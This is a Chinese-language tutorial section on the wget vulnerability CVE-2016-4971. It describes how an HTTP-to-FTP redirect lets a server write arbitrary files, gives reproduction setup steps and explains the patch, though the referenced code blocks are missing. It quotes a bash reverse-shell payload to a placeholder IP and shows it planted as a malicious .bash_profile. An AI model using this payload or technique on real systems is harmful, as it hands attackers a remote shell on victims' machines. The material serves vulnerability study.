7.1.3 CVE-2016-4971 wget 任意文件上传漏洞

下载文件

漏洞描述

wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。

漏洞发生在将 HTTP 服务重定向到 FTP 服务时,wget 会默认选择相信 HTTP 服务器,并且直接使用重定向的 FTP URL,而没有对其进行二次验证或对下载文件名进行适当的处理。如果攻击者提供了一个恶意的 URL,通过这种重定向可能达到任意文件的上传的问题,并且文件名和文件内容也是任意的。

漏洞复现

推荐使用的环境
备注

操作系统

Ubuntu 16.04

体系结构:64 位

漏洞软件

wget

版本号:1.17.1

所需软件

vsftpd

版本号:3.0.3

首先需要安装 ftp 服务器:

$ sudo apt-get install vsftpd

修改其配置文件 /etc/vsftpd.conf,使匿名用户也可以访问:

# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES

然后我们需要一个 HTTP 服务,这里选择使用 Flask:

创建两个文件 noharm.txt 和 harm.txt,假设前者是我们请求的正常文件,后者是重定位后的恶意文件,如下:

httpServer.py 代码如下:

接下来在另一个 shell 里(记得切换到一个不一样的目录),执行下面的语句:

可以看到发生了重定向,虽然下载的文件内容是重定位后的文件的内容(harm.txt),但文件名依然是一开始请求的文件名(noharm.txt),完全没有问题。

这样看来,该系统上的 wget 虽然是 1.17.1,但估计已经打过补丁了。我们直接编译安装原始的版本:

发出请求:

Bingo!!!这一次 harm.txt 没有被修改成原始请求的文件名。

在参考资料中,展示了一种针对 .bash_profile 的攻击,我们知道在刚登录 Linux 时,.bash_profile 会被执行,用于设置一些环境变量。但如果该文件是一个恶意的文件,比如 bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9980 0>&1 这样的 payload,执行后就会返回一个 shell 给攻击者。

如果某个人在自己的 home 目录下执行了 wget 请求,并且该目录下没有 .bash_profile,那么利用该漏洞,攻击这就可以将恶意的 .bash_profile 保存到这个人的 home 下。下一次启动时,恶意代码被执行,获得 shell。

漏洞分析

补丁

通过查看补丁的内容,我们发现主要的修改有两处,一个是函数 ftp_loop_internal(),增加了对是否使用了参数 --trust-server-names 及是否存在重定向进行了判断:

另一个是函数 ftp_loop(),也是一样的:

修改之后,如果没有使用参数 --trust-server-names,则默认使用原始 URL 中的文件名替换重定向后 URL 中的文件名。问题就这样解决了。

参考资料

Last updated

Was this helpful?